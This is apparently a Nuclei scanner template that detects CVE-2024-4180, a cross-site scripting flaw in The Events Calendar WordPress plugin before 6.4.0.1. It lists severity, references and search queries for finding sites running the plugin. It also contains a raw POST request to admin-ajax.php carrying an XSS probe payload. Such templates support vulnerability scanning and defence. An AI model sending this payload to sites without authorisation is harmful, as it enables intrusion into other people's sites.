The Events Calendar < 6.4.0.1 - Cross-site Scripting

id: CVE-2024-4180

info:
  name: The Events Calendar < 6.4.0.1 - Cross-site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    The Events Calendar WordPress plugin < 6.4.0.1 contains a stored XSS caused by improper sanitization of user-submitted content when rendering views via AJAX, letting attackers execute scripts in the context of the affected site. Exploitation requires user interaction.
  impact: |
    Attackers can execute arbitrary scripts in the context of the affected site, leading to potential session hijacking or defacement.
  remediation: |
    Update to version 6.4.0.1 or later.
  reference:
    - https://wpscan.com/vulnerability/b2a92316-e404-4a5e-8426-f88df6e87550/
    - https://wordpress.org/plugins/the-events-calendar/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4180
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-4180
    cwe-id: CWE-79
    epss-score: 0.02079
    epss-percentile: 0.81662
    cpe: cpe:2.3:a:stellarwp:the_events_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: stellarwp
    product: the_events_calendar
    framework: wordpress
    fofa-query: body="wp-content/plugins/the-events-calendar/"
    publicwww-query: "/wp-content/plugins/the-events-calendar/"
  tags: cve,cve2024,wordpress,wp-plugin,wp,wpscan,the-events-calendar,xss,vuln,vkev

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=tribe_events_views_v2_fallback&view=reflector&view_data[lala]='<svg alert(document.domain)>'

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, '<svg alert(document.domain)>', 'event_display_mode')
          - contains(content_type, 'text/html')
          - status_code == 200
        condition: and